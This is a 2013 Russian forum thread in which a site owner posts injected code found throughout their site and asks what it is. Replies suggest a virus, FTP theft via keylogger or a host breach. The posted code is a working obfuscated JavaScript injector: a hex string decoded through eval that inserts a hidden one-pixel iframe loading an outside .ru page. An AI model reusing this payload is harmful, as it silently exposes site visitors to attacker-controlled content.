Xwab
Форумыnavigate_nextJavaScript

Странный код
Сообщения
Emerald

По всему сайту появился вот такой код

<?
#ded509#
echo " <script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0\"+\"x\";a=0;try{a*=2}catch(q){a=1}if(!a){try{document[\"\x62ody\"]^=~1;}catch(q){a2=\"_\"}z=\"2f_6d_7c_75_6a_7b_70_76_75_27_2f_30_27_82_14_11_27_27_27_27_7d_68_79_27_7b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_79_6c_68_7b_6c_4c_73_6c_74_6c_75_7b_2f_2e_70_6d_79_68_74_6c_2e_30_42_14_11_14_11_27_27_27_27_7b_35_7a_79_6a_27_44_27_2e_6f_7b_7b_77_41_36_36_81_7c_6f_73_6c_7a_72_6c_35_79_7c_36_6a_76_7c_75_7b_38_40_35_77_6f_77_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_77_76_7a_70_7b_70_76_75_27_44_27_2e_68_69_7a_76_73_7c_7b_6c_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_69_76_79_6b_6c_79_27_44_27_2e_37_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_6f_6c_70_6e_6f_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_7e_70_6b_7b_6f_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_73_6c_6d_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_7b_76_77_27_44_27_2e_38_77_7f_2e_42_14_11_14_11_27_27_27_27_70_6d_27_2f_28_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_7b_2e_30_30_27_82_14_11_27_27_27_27_27_27_27_27_6b_76_6a_7c_74_6c_75_7b_35_7e_79_70_7b_6c_2f_2e_43_6b_70_7d_27_70_6b_44_63_2e_7b_63_2e_45_43_36_6b_70_7d_45_2e_30_42_14_11_27_27_27_27_27_27_27_27_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_7b_2e_30_35_68_77_77_6c_75_6b_4a_6f_70_73_6b_2f_7b_30_42_14_11_27_27_27_27_84_14_11_84_30_2f_30_42\"[\"split\"](a2);s=\"\";for(i=0;i<z.length;i++){s+=String[\"fromCharCode\"](e(v+(z[i]))-5-2);}zaz=s;e(zaz);}</script>";

#/ded509#
?>
добавлено спустя 47 секунд:
что это может быть, и откуда взялось, знает кто?

05 Май 2013, 12:59
u99

возможно вирус

05 Май 2013, 12:59
Emerald

я тоже так думаю, как это вылечить
?

05 Май 2013, 13:00
Aventus

На хостинге удали подозрительные файлы. И бд почистить бы не мешало
добавлено спустя 12 секунд:
как минимум

05 Май 2013, 13:09
Александр II

вордпресс?

05 Май 2013, 13:20
Emerald

Александр II пишет:
"вордпресс?"

Нет, граберы, поиск муз.

05 Май 2013, 13:37
Akdmeh

Либо хакнули ftp, либо у тебя на устройстве вирус.
Либо у самого хостера дыра, такое тоже бывает.

05 Май 2013, 13:51
Fever

к чему гадать? распарсить такое - проще простого, а вот что это значит - сами решайте, я не в курсе


__________
посл.ред. 05 Май 2013, 14:26; всего 1 раз 05 Май 2013, 14:20
Emerald

Akdmeh, пароли абсолютно ни кому не давал, арендую место на серв.

05 Май 2013, 14:21
Akdmeh

9, не обязательно их давать, есть программы-кейлоггеры.
У меня своего времени так на сайт залили шелл - программа сбирала данные с Filezilla, а там были в закладках пароли.

05 Май 2013, 14:36
Ответить на тему